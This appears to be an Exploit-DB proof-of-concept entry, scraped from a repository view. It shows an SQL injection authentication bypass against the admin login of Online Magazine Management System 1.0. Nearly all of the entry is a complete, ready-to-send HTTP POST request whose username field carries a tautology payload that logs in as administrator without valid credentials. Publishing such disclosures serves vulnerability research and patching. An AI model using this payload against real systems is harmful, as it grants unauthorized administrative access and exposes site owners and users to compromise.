34c9d56d78
5 changes to exploits/shellcodes Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass Online Magazine Management System 1.0 - SQLi Authentication Bypass WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI) WordPress Plugin Slider by Soliloquy 2.6.2 - 'title' Stored Cross Site Scripting (XSS) (Authenticated) WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)
35 lines
No EOL
1.1 KiB
Text
35 lines
No EOL
1.1 KiB
Text
# Exploit Title: Online Magazine Management System 1.0 - SQLi Authentication Bypass
|
|
# Date: 01-12-2021
|
|
# Exploit Author: Mohamed habib Smidi (Craniums)
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/15061/online-magazine-management-system-php-free-source-code.html
|
|
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/magazines_0.zip
|
|
# Version: 1.0
|
|
# Tested on: Ubuntu
|
|
|
|
|
|
# Description :
|
|
|
|
Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.
|
|
|
|
# Request :
|
|
|
|
POST /magazines/classes/Login.php?f=login HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
|
|
Gecko/20100101 Firefox/93.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 49
|
|
Origin: http://localhost
|
|
Connection: close
|
|
Referer: http://localhost/magazines/admin/login.php
|
|
Cookie: PHPSESSID=863plvf7rpambpkmk2cipijgra
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
|
|
|
|
username='+or+1%3D1+limit+1+--+-%2B&password=aaaa |